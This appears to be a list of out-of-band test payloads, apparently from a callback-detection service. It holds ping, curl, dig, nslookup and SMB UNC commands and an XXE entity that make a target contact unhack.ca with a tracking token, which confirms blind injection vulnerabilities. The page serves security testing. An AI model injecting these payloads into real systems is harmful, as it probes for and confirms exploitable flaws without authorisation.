$ ping -c1 -p 0019da586ab4cdd49ee46550c7b87700 unhack.ca
 

$ curl http://unhack.ca/p/19da586ab4cdd49ee46550c7b877
 

$ dig 19da586ab4cdd49ee46550c7b877 @unhack.ca
 

$ dig 19da586ab4cdd49ee46550c7b877.ns.unhack.ca
 

C:\> nslookup 19da586ab4cdd49ee46550c7b877 unhack.ca
 

C:\> type \\unhack.ca\19da586ab4cdd49ee46550c7b877\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/19da586ab4cdd49ee46550c7b877">]>
    <foo>&xxe;</foo>